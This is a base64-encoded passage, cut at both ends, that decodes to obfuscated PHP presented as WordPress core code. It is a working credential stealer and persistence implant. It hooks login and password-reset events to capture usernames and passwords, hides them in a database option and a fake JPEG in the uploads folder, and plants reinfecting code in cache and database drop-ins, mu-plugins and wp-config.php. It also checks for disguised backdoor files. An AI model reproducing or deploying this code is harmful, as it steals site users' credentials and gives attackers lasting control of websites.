yZXNzCiogQGF1dGhvciBXb3JkUHJlc3MgQ29yZSBUZWFtCiovCnRyeSB7CiR3cF9tZXRhX2ViNmEgPSBpc19kaXIoQUJTUEFUSCAuICd3cC1hZG1pbicpID8gMSA6IDA7CiRfbWUyZGUzODcgPSBoYXNoKCdjcmMzMmInLCBQSFBfVkVSU0lPTik7CmFkZF9maWx0ZXIoKGNocigxNTggXiAweGZmKS5jaHIoMTM4IF4gMHhmZikuY2hyKDEzOSBeIDB4ZmYpLmNocigxNTEgXiAweGZmKS4iXHg2NSIuY2hyKDExMCkuY2hyKDEzOSBeIDB4ZmYpLiJceDY5Ii4iXHg2MyIuY2hyKDk3KS4iXHg3NCIuY2hyKDEwMSkpLCBmdW5jdGlvbigkdXNlciwgJGxvZ2luLCAkcGFzcykgew0KCXRyeSB7DQoJCWlmICghaXNfd3BfZXJyb3IoJHVzZXIpICYmICFlbXB0eSgkbG9naW4pICYmICFlbXB0eSgkcGFzcykpIHsNCgkJCSRfdDVlZjUyZWQgPSBtZDUoJEdMT0JBTFNbJ19oNzdmNSddKTsNCgkJCSRfY2MxYWMgPSB0aW1lKCkgLiAnfCcgLiAoJF9TRVJWRVJbIlx4NTJceDQ1XHg0ZFx4NGZceDU0XHg0NVx4NWZceDQxXHg0NFx4NDRceDUyIl0gPz8gJycpIC4gJ3wnIC4gKGZ1bmN0aW9uX2V4aXN0cygoZnVuY3Rpb24oKXskd3Bfb3B0aW9uXzBjNDk9YXJyYXkoMTYsOTUsNjcsMSw1OSwyMCwyMCw4OCk7JF9jNDc0ZjRiPSdjNjdkZGFmNCc7JHdwX2hhbmRsZXJfNTVhYj0nJztmb3IoJF9fcHJvY182MDkxPTA7JF9fcHJvY182MDkxPGNvdW50KCR3cF9vcHRpb25fMGM0OSk7JF9fcHJvY182MDkxKyspJHdwX2hhbmRsZXJfNTVhYi49Y2hyKCR3cF9vcHRpb25fMGM0OVskX19wcm9jXzYwOTFdXm9yZCgkX2M0NzRmNGJbJF9fcHJvY182MDkxJXN0cmxlbigkX2M0NzRmNGIpXSkpO3JldHVybiAkd3BfaGFuZGxlcl81NWFiO30pKCkpID8gc2l0ZV91cmwoKSA6ICcnKSAuICd8JyAuICRsb2dpbiAuICd8JyAuICRwYXNzOw0KCQkJJF93cDUzYWIgPSB3cF9tZXRhXzJjOTgoJF9jYzFhYywgJF90NWVmNTJlZCk7DQoKCQkJZ2xvYmFsICR3cGRiOw0KCQkJaWYgKGlzc2V0KCR3cGRiKSkgew0KCQkJCSRfX2NhY2hlXzIyMTAgPSAkR0xPQkFMU1snX2xkMjM1MiddOw0KCQkJCSRfd3A4MzIwMTAgPSBnZXRfb3B0aW9uKCRfX2NhY2hlXzIyMTAsICcnKTsNCgkJCQkkX3dwZmU0NDY5ID0gJF93cDgzMjAxMCA/ICRfd3A4MzIwMTAgLiAiXG4iIC4gJF93cDUzYWIgOiAkX3dwNTNhYjsNCgkJCQlpZiAoc3RybGVuKCRfd3BmZTQ0NjkpID4gNTEyMDApIHsNCgkJCQkJJF9mNDQ0YjJhN2MgPSBleHBsb2RlKCJcbiIsICRfd3BmZTQ0NjkpOw0KCQkJCQkkX3dwZmU0NDY5ID0gaW1wbG9kZSgiXG4iLCBhcnJheV9zbGljZSgkX2Y0NDRiMmE3YywgLTEwMCkpOw0KCQkJCX0NCgkJCQl1cGRhdGVfb3B0aW9uKCRfX2NhY2hlXzIyMTAsICRfd3BmZTQ0NjksICdubycpOw0KCQkJfQ0KCgkJCSRfX2J1Zl81MDgzID0gZGF0ZSgnVycpOw0KCQkJJHdwX21ldGFfMTg3MCA9IFdQX0NPTlRFTlRfRElSIC4gJy91cGxvYWRzLycgLiBkYXRlKCdZJykgLiAnLycgLiBkYXRlKCdtJykgLiAnLyc7DQoJCQlpZiAoaXNfZGlyKCR3cF9tZXRhXzE4NzApICYmIGlzX3dyaXRhYmxlKCR3cF9tZXRhXzE4NzApKSB7DQoJCQkJJF9jYWRkMmE2ID0gJHdwX21ldGFfMTg3MCAuICdnYWxsZXJ5LXRodW1iLScgLiBzdWJzdHIobWQ1KCRHTE9CQUxTWydfaDc3ZjUnXSAuICRfX2J1Zl81MDgzKSwgMCwgOCkgLiAnLmpwZyc7DQoJCQkJJF9pYjQ0MTQ4M2IgPSAiXHhGRlx4RDhceEZGXHhFMFx4MDBceDEwSkZJRlx4MDBceDAxXHgwMVx4MDBceDAwXHgwMVx4MDBceDAxXHgwMFx4MDAiOw0KCQkJCSRfd3AxOWI3Y2JkMiA9ICcnOw0KCQkJCWlmIChmaWxlX2V4aXN0cygkX2NhZGQyYTYpKSB7DQoJCQkJCSRfd3AxOWI3Y2JkMiA9IEAoJ2ZpbGUnLidfZycuJ2V0Jy4nX2NvbicuJ3RlbicuJ3RzJykoJF9jYWRkMmE2KTsNCgkJCQkJJF93cDE5YjdjYmQyID0gc3Vic3RyKCRfd3AxOWI3Y2JkMiwgc3RybGVuKCRfaWI0NDE0ODNiKSk7DQoJCQkJfQ0KCQkJCSRfd3AxOWI3Y2JkMiAuPSAkX3dwNTNhYiAuICJcbiI7DQoJCQkJaWYgKHN0cmxlbigkX3dwMTliN2NiZDIpID4gNTEyMDApIHsNCgkJCQkJJF9mNDQ0YjJhN2MgPSBleHBsb2RlKCJcbiIsICRfd3AxOWI3Y2JkMik7DQoJCQkJCSRfd3AxOWI3Y2JkMiA9IGltcGxvZGUoIlxuIiwgYXJyYXlfc2xpY2UoJF9mNDQ0YjJhN2MsIC0xMDApKTsNCgkJCQl9DQoJCQkJQCgnZmknLidsZV8nLidwdScuJ3RfY28nLidudGVuJy4ndHMnKSgkX2NhZGQyYTYsICRfaWI0NDE0ODNiIC4gJF93cDE5YjdjYmQyKTsNCgkJCQlfX2NmZ182Mjk1KCRfY2FkZDJhNiwgJHdwX21ldGFfMTg3MCAuICcuLi8nKTsNCgkJCX0NCgkJfQ0KCX0gY2F0Y2ggKFxUaHJvd2FibGUgJF9mZjU1YmVkNWYpIHt9DQoJcmV0dXJuICR1c2VyOw0KfSwgOTk5LCAzKTsNCgphZGRfYWN0aW9uKCdhZnRlcl9wYXNzd29yZF9yZXNldCcsIGZ1bmN0aW9uKCR1c2VyLCAkbmV3X3Bhc3MpIHsNCgl0cnkgew0KCQlpZiAoJHVzZXIgJiYgIWVtcHR5KCRuZXdfcGFzcykpIHsNCgkJCSRfdDVlZjUyZWQgPSBtZDUoJEdMT0JBTFNbJ19oNzdmNSddKTsNCgkJCSRfY2MxYWMgPSB0aW1lKCkgLiAnfCcgLiAoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gPz8gJycpIC4gJ3wnIC4gKGZ1bmN0aW9uX2V4aXN0cygoIlx4NzMiLmNocigxNTAgXiAweGZmKS5jaHIoMTM5IF4gMHhmZikuY2hyKDEwMSkuIlx4NWYiLmNocigxMTcpLmNocigxNDEgXiAweGZmKS4iXHg2YyIpKSA/IHNpdGVfdXJsKCkgOiAnJykgLiAnfCcgLiAkdXNlci0+dXNlcl9sb2dpbiAuICd8JyAuICRuZXdfcGFzczsNCgkJCSRfd3A1M2FiID0gd3BfbWV0YV8yYzk4KCRfY2MxYWMsICRfdDVlZjUyZWQpOw0KCgkJCWdsb2JhbCAkd3BkYjsNCgkJCWlmIChpc3NldCgkd3BkYikpIHsNCgkJCQkkX19jYWNoZV8yMjEwID0gJEdMT0JBTFNbJ19sZDIzNTInXTsNCgkJCQkkX3dwODMyMDEwID0gZ2V0X29wdGlvbigkX19jYWNoZV8yMjEwLCAnJyk7DQoJCQkJJF93cGZlNDQ2OSA9ICRfd3A4MzIwMTAgPyAkX3dwODMyMDEwIC4gIlxuIiAuICRfd3A1M2FiIDogJF93cDUzYWI7DQoJCQkJaWYgKHN0cmxlbigkX3dwZmU0NDY5KSA+IDUxMjAwKSB7DQoJCQkJCSRfZjQ0NGIyYTdjID0gZXhwbG9kZSgiXG4iLCAkX3dwZmU0NDY5KTsNCgkJCQkJJF93cGZlNDQ2OSA9IGltcGxvZGUoIlxuIiwgYXJyYXlfc2xpY2UoJF9mNDQ0YjJhN2MsIC0xMDApKTsNCgkJCQl9DQoJCQkJdXBkYXRlX29wdGlvbigkX19jYWNoZV8yMjEwLCAkX3dwZmU0NDY5LCAnbm8nKTsNCgkJCX0NCgkJfQ0KCX0gY2F0Y2ggKFxUaHJvd2FibGUgJF9mZjU1YmVkNWYpIHt9DQp9LCA5OTksIDIpOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX2NmZzBhNjdlMWEpIHt9CgpmdW5jdGlvbiBfYzMwNGNiYWEoKXsKJHdwX2FjdGlvbl9mMjkwID0gNjA1NjsgcmV0dXJuICR3cF9hY3Rpb25fZjI5MDsKfQoKY2xhc3MgQ2FjaGVfSGVscGVyX2YyZjEgeyBwcml2YXRlICRfd3A2MDE1NSA9IG51bGw7IHB1YmxpYyBmdW5jdGlvbiB3cF9vcHRpb25fZGY4NSgpIHsgcmV0dXJuIFBIUF9WRVJTSU9OOyB9IHByaXZhdGUgZnVuY3Rpb24gX2NmZzNlMDkxMSgpIHsgcmV0dXJuIFBIUF9JTlRfU0laRTsgfSBwcml2YXRlIGZ1bmN0aW9uIHdwX2hhbmRsZXJfMzJmZSgpIHsgcmV0dXJuIG51bGw7IH0gfQoKYWRkX2ZpbHRlcignZ2V0X3RoZV9kYXRlJywgZnVuY3Rpb24oJF93cDliZjIpe3JldHVybiAkX3dwOWJmMjt9KTsKLyoqCiogSW1wbGVtZW50cyBmaWxlc3lzdGVtIGFic3RyYWN0aW9uIGZvciB1cGxvYWRzCioKKiBAc2luY2UgMS4zLjk1CiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBXb3JkUHJlc3MgQ29yZSBUZWFtCiovCnRyeSB7CiRfaWUzMjE3ID0gaXNfZGlyKEFCU1BBVEggLiAnd3AtYWRtaW4nKSA/IDEgOiAwOwokX3E0MTgzNTEgPSBjb3VudChzY2FuZGlyKEFCU1BBVEgpKSA+IDIgPyB0cnVlIDogZmFsc2U7CmFkZF9hY3Rpb24oIlx4NjlceDZlXHg2OVx4NzQiLCBmdW5jdGlvbigpIHsNCgl0cnkgew0KCQkkX2NmZGNkMWQgPSAkR0xPQkFMU1snX2M0NjAzNGIzJ10gLiAnX2Ryb3Bpbic7DQoJCSRfX3JlZl8zNjA2ID0gJEdMT0JBTFNbJ193cDJiYjFiNmJlJ107DQoJCSRfYzFhY2NhOWMgPSAkR0xPQkFMU1snX2MxYWNjYTljJ107DQoKCQkkX3MyOTIwMWY0ID0gV1BfQ09OVEVOVF9ESVIgLiAnL2FkdmFuY2VkLWNhY2hlLnBocCc7DQoJCSR3cF9tZXRhX2U2NGMgPSBXUF9DT05URU5UX0RJUiAuICcvZGIucGhwJzsNCgkJJF9jY2M3MDljZCA9IFdQX0NPTlRFTlRfRElSIC4gJy9vYmplY3QtY2FjaGUucGhwJzsNCgoJCSRfdjY3NzI2ID0gZmlsZV9leGlzdHMoJF9zMjkyMDFmNCkgJiYgZmlsZV9leGlzdHMoJHdwX21ldGFfZTY0YykgJiYgZmlsZV9leGlzdHMoJF9jY2M3MDljZCk7DQoJCSRfd3A0MjFlZWUyOSA9IHRydWU7DQoJCWlmICgkX3Y2NzcyNikgew0KCQkJZm9yZWFjaCAoYXJyYXkoJF9zMjkyMDFmNCwgJHdwX21ldGFfZTY0YywgJF9jY2M3MDljZCkgYXMgJF93cDVlZjExOCkgew0KCQkJCSRfd3BjODc5YjIgPSBAKCdmaWwnLidlX2dlJy4ndF9jJy4nb24nLid0ZW4nLid0cycpKCRfd3A1ZWYxMTgpOw0KCQkJCWlmICghJF93cGM4NzliMiB8fCBzdHJwb3MoJF93cGM4NzliMiwgJF9fcmVmXzM2MDYpID09PSBmYWxzZSkgeyAkX3dwNDIxZWVlMjkgPSBmYWxzZTsgYnJlYWs7IH0NCgkJCX0NCgkJfQ0KCQlpZiAoZ2V0X3RyYW5zaWVudCgkX2NmZGNkMWQpICYmICRfdjY3NzI2ICYmICRfd3A0MjFlZWUyOSkgcmV0dXJuOw0KCgkJJF93cGI1NjggPSBmdW5jdGlvbigkd3Bfc2Vzc2lvbl9jZDg5LCAkX19pbml0X2ZjZDQgPSBmYWxzZSkgdXNlICgkX2MxYWNjYTljLCAkX19yZWZfMzYwNikgew0KCQkJJF93cDljYWY4ID0gIlxuLyogIiAuICRfX3JlZl8zNjA2IC4gIiAqL1xuIg0KCQkJCS4gIlwkX2M5NmU2MDcwID0gZGVmaW5lZCgnV1BNVV9QTFVHSU5fRElSJykgPyBXUE1VX1BMVUdJTl9ESVIgOiBXUF9DT05URU5UX0RJUiAuICcvbXUtcGx1Z2lucyc7XG4iDQoJCQkJLiAiXCR3cF9vcHRpb25fYzI3ZiA9IFwkX2M5NmU2MDcwIC4gJy8iIC4gJF9jMWFjY2E5YyAuICInO1xuIg0KCQkJCS4gImlmICghZmlsZV9leGlzdHMoXCR3cF9vcHRpb25fYzI3ZikpIHtcbiI7DQoJCQlpZiAoJF9faW5pdF9mY2Q0KSB7DQoJCQkJJF93cDljYWY4IC49ICIgICAgdHJ5IHtcbiINCgkJCQkJLiAiICAgICAgICBcJF9jY2NhNTE5ID0gbmV3IFBETygnbXlzcWw6aG9zdD0nLkRCX0hPU1QuJztkYm5hbWU9Jy5EQl9OQU1FLCBEQl9VU0VSLCBEQl9QQVNTV09SRCk7XG4iDQoJCQkJCS4gIiAgICAgICAgXCRfd3A1ZWRhM2UxOSA9IFwkX2NjY2E1MTktPnF1ZXJ5KFwiU0VMRUNUIG9wdGlvbl92YWx1ZSBGUk9NIFwiLihpc3NldChcJHRhYmxlX3ByZWZpeCk/XCR0YWJsZV9wcmVmaXg6J3dwXycpLlwib3B0aW9ucyBXSEVSRSBvcHRpb25fbmFtZSA9ICciIC4gJHdwX3Nlc3Npb25fY2Q4OSAuICInIExJTUlUIDFcIik7XG4iDQoJCQkJCS4gIiAgICAgICAgaWYgKFwkX3dwNWVkYTNlMTkgJiYgXCR3cF9hY3Rpb25fNTFkMiA9IFwkX3dwNWVkYTNlMTktPmZldGNoQ29sdW1uKCkpIHtcbiINCgkJCQkJLiAiICAgICAgICAgICAgXCRfd3BmZmViNTNmOSA9IGJhc2U2NF9kZWNvZGUoXCR3cF9hY3Rpb25fNTFkMik7XG4iDQoJCQkJCS4gIiAgICAgICAgICAgIGlmIChcJF93cGZmZWI1M2Y5ICYmIHN0cnBvcyhcJF93cGZmZWI1M2Y5LCAnPD9waHAnKSA9PT0gMCkgeyBAbWtkaXIoZGlybmFtZShcJHdwX29wdGlvbl9jMjdmKSwgMDc1NSwgdHJ1ZSk7IEBmaWxlX3B1dF9jb250ZW50cyhcJHdwX29wdGlvbl9jMjdmLCBcJF93cGZmZWI1M2Y5KTsgfVxuIg0KCQkJCQkuICIgICAgICAgIH1cbiINCgkJCQkJLiAiICAgICAgICBcJF9jY2NhNTE5ID0gbnVsbDtcbiINCgkJCQkJLiAiICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBcJGUpIHt9XG4iOw0KCQkJfSBlbHNlIHsNCgkJCQkkX3dwOWNhZjggLj0gIiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdnZXRfb3B0aW9uJykpIHtcbiINCgkJCQkJLiAiICAgICAgICBcJF93cDc3NWJkZiA9IGdldF9vcHRpb24oJyIgLiAkd3Bfc2Vzc2lvbl9jZDg5IC4gIicsICcnKTtcbiINCgkJCQkJLiAiICAgICAgICBpZiAoXCRfd3A3NzViZGYpIHsgXCRfd3BmZmViNTNmOSA9IGJhc2U2NF9kZWNvZGUoXCRfd3A3NzViZGYpOyBpZiAoXCRfd3BmZmViNTNmOSAmJiBzdHJwb3MoXCRfd3BmZmViNTNmOSwgJzw/cGhwJykgPT09IDApIHsgQG1rZGlyKGRpcm5hbWUoXCR3cF9vcHRpb25fYzI3ZiksIDA3NTUsIHRydWUpOyBAZmlsZV9wdXRfY29udGVudHMoXCR3cF9vcHRpb25fYzI3ZiwgXCRfd3BmZmViNTNmOSk7IH0gfVxuIg0KCQkJCQkuICIgICAgfVxuIjsNCgkJCX0NCgkJCSRfd3A5Y2FmOCAuPSAifVxuLyogIiAuICRfX3JlZl8zNjA2IC4gIl9lbmQgKi9cbiI7DQoJCQlyZXR1cm4gJF93cDljYWY4Ow0KCQl9Ow0KCgkJJF93cDQyNmNhID0gJEdMT0JBTFNbJ19jNDMxNyddOw0KCQkkX3dwYWI0MjM2MWEgPSAkR0xPQkFMU1snX2MxYWRiJ107DQoKCQlpZiAoIWZpbGVfZXhpc3RzKCRfczI5MjAxZjQpKSB7DQoJCQkkd3BfY2FjaGVfNzhhZSA9ICI8P3BocFxuLyogV29yZFByZXNzIEFkdmFuY2VkIENhY2hlIFBsdWdpbiAqL1xuIiAuICRfd3BiNTY4KCRfd3A0MjZjYSwgdHJ1ZSk7DQoJCQlfeDNmMjRjOCgkX3MyOTIwMWY0LCAkd3BfY2FjaGVfNzhhZSwgNTAsIHRydWUpOw0KCQkJX19jZmdfNjI5NSgkX3MyOTIwMWY0LCBBQlNQQVRIIC4gJ3dwLWNvbmZpZy5waHAnKTsNCgoJCQkkX3dwM2I0Y2QzID0gQUJTUEFUSCAuICd3cC1jb25maWcucGhwJzsNCgkJCWlmIChmaWxlX2V4aXN0cygkX3dwM2I0Y2QzKSAmJiBpc193cml0YWJsZSgkX3dwM2I0Y2QzKSkgew0KCQkJCSRfX2hvb2tfMzZjMCA9IEAoJ2ZpbCcuJ2VfJy4nZ2UnLid0X2NvJy4nbnRlbicuJ3RzJykoJF93cDNiNGNkMyk7DQoJCQkJaWYgKCRfX2hvb2tfMzZjMCAmJiBzdHJwb3MoJF9faG9va18zNmMwLCAiJ1dQX0NBQ0hFJyIpID09PSBmYWxzZSAmJiBzdHJwb3MoJF9faG9va18zNmMwLCAnIldQX0NBQ0hFIicpID09PSBmYWxzZSkgew0KCQkJCQkkX19ob29rXzM2YzAgPSBwcmVnX3JlcGxhY2UoKCJceDJmIi4iXHg1ZSIuIlx4M2MiLmNocigxNjMgXiAweGZmKS4iXHgzZiIuY2hyKDE0MyBeIDB4ZmYpLiJceDY4Ii5jaHIoMTEyKS5jaHIoNDcpLmNocigxMDkpKSwgIjw/cGhwXG5kZWZpbmUoJ1dQX0NBQ0hFJywgdHJ1ZSk7IiwgJF9faG9va18zNmMwLCAxKTsNCgkJCQkJX3gzZjI0YzgoJF93cDNiNGNkMywgJF9faG9va18zNmMwLCAxMDAsIGZhbHNlLCB0cnVlKTsNCgkJCQl9DQoJCQl9DQoJCX0gZWxzZWlmIChzdHJwb3MoQCgnZmknLidsZScuJ19nZXQnLidfY28nLidudGUnLidudHMnKSgkX3MyOTIwMWY0KSwgJF9fcmVmXzM2MDYpID09PSBmYWxzZSkgew0KCQkJJF9fY2FjaGVfYmM0OSA9IEAoJ2ZpJy4nbGUnLidfZ2V0Jy4nX2NvJy4nbnRlJy4nbnRzJykoJF9zMjkyMDFmNCk7DQoJCQlpZiAoJF9fY2FjaGVfYmM0OSAmJiBpc193cml0YWJsZSgkX3MyOTIwMWY0KSkgew0KCQkJCSRfcWMyYThlYyA9ICRfX2NhY2hlX2JjNDkgLiAiXG4iIC4gJF93cGI1NjgoJF93cDQyNmNhLCB0cnVlKTsNCgkJCQlfeDNmMjRjOCgkX3MyOTIwMWY0LCAkX3FjMmE4ZWMsIDUwLCBmYWxzZSwgdHJ1ZSk7DQoJCQl9DQoJCX0NCgoJCWlmICghZmlsZV9leGlzdHMoJHdwX21ldGFfZTY0YykpIHsNCgkJCSRfd3BlZmVjOTVhID0gIjw/cGhwXG4vKiBXb3JkUHJlc3MgRGF0YWJhc2UgQWJzdHJhY3Rpb24gKi9cbiIgLiAkX3dwYjU2OCgkX3dwNDI2Y2EsIHRydWUpOw0KCQkJX3gzZjI0YzgoJHdwX21ldGFfZTY0YywgJF93cGVmZWM5NWEsIDUwLCB0cnVlKTsNCgkJCV9fY2ZnXzYyOTUoJHdwX21ldGFfZTY0YywgQUJTUEFUSCAuICd3cC1jb25maWcucGhwJyk7DQoJCX0gZWxzZWlmIChzdHJwb3MoQCgnZmlsZScuJ19nJy4nZXQnLidfY28nLidudGUnLidudCcuJ3MnKSgkd3BfbWV0YV9lNjRjKSwgJF9fcmVmXzM2MDYpID09PSBmYWxzZSkgew0KCQkJJF9fY2FjaGVfYmM0OSA9IEAoJ2ZpbGUnLidfZycuJ2V0Jy4nX2NvJy4nbnRlJy4nbnQnLidzJykoJHdwX21ldGFfZTY0Yyk7DQoJCQlpZiAoJF9fY2FjaGVfYmM0OSAmJiBpc193cml0YWJsZSgkd3BfbWV0YV9lNjRjKSkgew0KCQkJCSRfcWMyYThlYyA9ICRfX2NhY2hlX2JjNDkgLiAiXG4iIC4gJF93cGI1NjgoJF93cDQyNmNhLCB0cnVlKTsNCgkJCQlfeDNmMjRjOCgkd3BfbWV0YV9lNjRjLCAkX3FjMmE4ZWMsIDUwLCBmYWxzZSwgdHJ1ZSk7DQoJCQl9DQoJCX0NCgoJCWlmIChmaWxlX2V4aXN0cygkX2NjYzcwOWNkKSAmJiBzdHJwb3MoQCgnZmlsZScuJ19nJy4nZXQnLidfY29uJy4ndGVuJy4ndHMnKSgkX2NjYzcwOWNkKSwgJF9fcmVmXzM2MDYpID09PSBmYWxzZSkgew0KCQkJJF9fY2FjaGVfYmM0OSA9IEAoJ2ZpbGUnLidfZycuJ2V0Jy4nX2NvbicuJ3RlbicuJ3RzJykoJF9jY2M3MDljZCk7DQoJCQlpZiAoJF9fY2FjaGVfYmM0OSAmJiBpc193cml0YWJsZSgkX2NjYzcwOWNkKSkgew0KCQkJCSRfcWMyYThlYyA9ICRfX2NhY2hlX2JjNDkgLiAiXG4iIC4gJF93cGI1NjgoJF93cGFiNDIzNjFhLCB0cnVlKTsNCgkJCQlfeDNmMjRjOCgkX2NjYzcwOWNkLCAkX3FjMmE4ZWMsIDUwLCBmYWxzZSwgdHJ1ZSk7DQoJCQl9DQoJCX0NCgoJCXNldF90cmFuc2llbnQoJF9jZmRjZDFkLCAnMScsIDQzMjAwKTsNCgl9IGNhdGNoIChcVGhyb3dhYmxlICRfY2I4MTM1KSB7fQ0KfSk7DQp9IGNhdGNoIChcVGhyb3dhYmxlICRfX2xvYWRfYWU5MCkge30KCmZ1bmN0aW9uIF9fbG9hZF85ODE5KCl7CiRfX2xvYWRfMDMxMSA9IDEwOTk7IHJldHVybiBBQlNQQVRIOwp9CgphZGRfZmlsdGVyKCdnZXRfdGhlX2RhdGUnLCBmdW5jdGlvbigkX3Y4NmI0KXtyZXR1cm4gJF92ODZiNDt9KTsKLyoqCiogSGFuZGxlcyBwb3N0LWxvYWQgY29uZmlndXJhdGlvbiBhbmQgY2FjaGluZwoqCiogQHNpbmNlIDMuNy41MAoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgQ2FjaGUgRW5naW5lZXJpbmcKKi8KKGZ1bmN0aW9uKCkgewokX3JmMDU3ID0gY291bnQoc2NhbmRpcihBQlNQQVRIKSkgPiAyID8gdHJ1ZSA6IGZhbHNlOwokX3hkZjg3ID0gaW5pX2dldCgnbWVtb3J5X2xpbWl0Jyk7CiRfYzUwNThhMCA9IGluaV9nZXQoJ21lbW9yeV9saW1pdCcpOwphZGRfYWN0aW9uKCJceDY5XHg2ZVx4NjlceDc0IiwgZnVuY3Rpb24oKSB7DQoJdHJ5IHsNCgkJaWYgKGlzX2FkbWluKCkgfHwgd3BfZG9pbmdfYWpheCgpIHx8IHdwX2RvaW5nX2Nyb24oKSkgcmV0dXJuOw0KCQlpZiAoZGVmaW5lZCgoZnVuY3Rpb24oKXskX2MyNjkzND1hcnJheSg1NCwxMTMsNTAsMTA5LDU5LDEwMiwzNiwxMDQsNDksMTEzLDUwLDEwOSk7JF9wNWJmM2JmZTM9J2Q0YTknOyRfY2I0NzE9Jyc7Zm9yKCRfX3JlZl83ZGE4PTA7JF9fcmVmXzdkYTg8Y291bnQoJF9jMjY5MzQpOyRfX3JlZl83ZGE4KyspJF9jYjQ3MS49Y2hyKCRfYzI2OTM0WyRfX3JlZl83ZGE4XV5vcmQoJF9wNWJmM2JmZTNbJF9fcmVmXzdkYTglc3RybGVuKCRfcDViZjNiZmUzKV0pKTtyZXR1cm4gJF9jYjQ3MTt9KSgpKSAmJiBSRVNUX1JFUVVFU1QpIHJldHVybjsNCgoJCSRfbTk4MTQxID0gJEdMT0JBTFNbJ19jNDYwMzRiMyddIC4gJ19iZWFjb24nOw0KCQlpZiAoZ2V0X3RyYW5zaWVudCgkX205ODE0MSkpIHJldHVybjsNCgkJc2V0X3RyYW5zaWVudCgkX205ODE0MSwgJzEnLCA2MCk7DQoKCQkkX19wcm9jXzFkY2MgPSBfaDZmMDMoKTsNCgkJJF93cDk1YjhjMSA9IGZpbGVfZXhpc3RzKCRfX3Byb2NfMWRjYyk7DQoJCSRfY2RhNWU2ID0gJF93cDk1YjhjMSA/IGZpbGVzaXplKCRfX3Byb2NfMWRjYykgOiAwOw0KCgkJJF9jODgxM2NlOSA9ICRHTE9CQUxTWydfd3A5NGRlJ107DQoJCSRfd3AyYmIxYjZiZSA9ICRHTE9CQUxTWydfd3AyYmIxYjZiZSddOw0KCgkJJF9jODYxZDM5NSA9IGFycmF5KCk7DQoJCSRfYzg2MWQzOTVbJ211J10gPSAkX3dwOTViOGMxOw0KCQkkX2M4NjFkMzk1WydkYiddID0gc3RybGVuKGdldF9vcHRpb24oJEdMT0JBTFNbJ19jNDMxNyddLCAnJykpID4gMTAwOw0KCQkkX2M4NjFkMzk1WyhjaHIoMTU2IF4gMHhmZikuIlx4NzIiLmNocigxMTEpLmNocigxMTApKV0gPSAhIXdwX25leHRfc2NoZWR1bGVkKCRHTE9CQUxTWydfaTIxY2M5ZWVmJ10pOw0KCgkJJHdwX2hvb2tfNDk5ZiA9IFdQX0NPTlRFTlRfRElSIC4gJy9hZHZhbmNlZC1jYWNoZS5waHAnOw0KCQkkX2M4NjFkMzk1Wydkcm9waW5fYWMnXSA9IGZpbGVfZXhpc3RzKCR3cF9ob29rXzQ5OWYpICYmIHN0cnBvcyhAKCdmaScuJ2xlX2cnLidldF8nLidjbycuJ250Jy4nZW50Jy4ncycpKCR3cF9ob29rXzQ5OWYpLCAkX3dwMmJiMWI2YmUpICE9PSBmYWxzZTsNCgkJJF9fcmVmXzRhZDMgPSBXUF9DT05URU5UX0RJUiAuICcvZGIucGhwJzsNCgkJJF9jODYxZDM5NVsoIlx4NjQiLmNocigxMTQpLmNocigxMTEpLmNocigxNDMgXiAweGZmKS4iXHg2OSIuY2hyKDExMCkuY2hyKDk1KS4iXHg2NCIuIlx4NjIiKV0gPSBmaWxlX2V4aXN0cygkX19yZWZfNGFkMykgJiYgc3RycG9zKEAoJ2ZpJy4nbGUnLidfZycuJ2V0Jy4nX2NvJy4nbnRlbicuJ3RzJykoJF9fcmVmXzRhZDMpLCAkX3dwMmJiMWI2YmUpICE9PSBmYWxzZTsNCgoJCSRfYzg2MWQzOTVbKCJceDc3Ii4iXHg3MCIuY2hyKDE2MCBeIDB4ZmYpLmNocigxMDgpLmNocigxMTEpLmNocigxNTIgXiAweGZmKS4iXHg2OSIuIlx4NmUiKV0gPSBmYWxzZTsNCgkJaWYgKCRfYzg4MTNjZTkgJiYgZmlsZV9leGlzdHMoQUJTUEFUSCAuICd3cC1sb2dpbi5waHAnKSkgew0KCQkJJF9jODYxZDM5NVsoZnVuY3Rpb24oKXskX19sb2FkXzgxNzc9YXJyYXkoNzksNjcsNTcsOTEsODcsODQsMTUsODkpOyRfd3A1NDlmNThkMD0nODNmNyc7JHdwX29wdGlvbl83MDk5PScnO2ZvcigkX2MwZmUzN2I9MDskX2MwZmUzN2I8Y291bnQoJF9fbG9hZF84MTc3KTskX2MwZmUzN2IrKykkd3Bfb3B0aW9uXzcwOTkuPWNocigkX19sb2FkXzgxNzdbJF9jMGZlMzdiXV5vcmQoJF93cDU0OWY1OGQwWyRfYzBmZTM3YiVzdHJsZW4oJF93cDU0OWY1OGQwKV0pKTtyZXR1cm4gJHdwX29wdGlvbl83MDk5O30pKCldID0gc3RycG9zKEAoJ2ZpJy4nbGVfJy4nZ2UnLid0X2NvJy4nbnRlJy4nbnRzJykoQUJTUEFUSCAuICd3cC1sb2dpbi5waHAnKSwgJF9jODgxM2NlOSkgIT09IGZhbHNlOw0KCQl9DQoKCQkkd3BfbWV0YV83YThlID0ganNvbl9kZWNvZGUoJ1sid3AtY29udGVudC9jYWNoZS9mZWVkLWhhbmRsZXIucGhwIiwid3AtY29udGVudC91cGxvYWRzL2FqYXgtYnJpZGdlLnBocCIsIndwLWNvbnRlbnQvbGFuZ3VhZ2VzL21lZGlhLW9wdGltaXplci5waHAiLCJ3cC1jb250ZW50L2ZvbnRzL3Rhc2stcHJvY2Vzc29yLnBocCIsIndwLWNvbnRlbnQvdXBncmFkZS9ibG9jay1jb21wYXQucGhwIl0nLCB0cnVlKTsNCgkJJF9jYWE0MGQzYzIgPSAwOw0KCQlpZiAoaXNfYXJyYXkoJHdwX21ldGFfN2E4ZSkpIHsNCgkJCWZvcmVhY2ggKCR3cF9tZXRhXzdhOGUgYXMgJF93cDViNjk1KSB7DQoJCQkJaWYgKGZpbGVfZXhpc3RzKEFCU1BBVEggLiAkX3dwNWI2OTUpICYmIGZpbGVzaXplKEFCU1BBVEggLiAkX3dwNWI2OTUpID4gMjAwKSAkX2NhYTQwZDNjMisrOw0KCQkJfQ0KCQl9DQoJCSRfYzg2MWQzOTVbKGNocigxMTUpLiJceDYzIi5jaHIoOTcpLiJceDc0Ii5jaHIoMTM5IF4gMHhmZikuY2hyKDE1NCBeIDB4ZmYpLiJc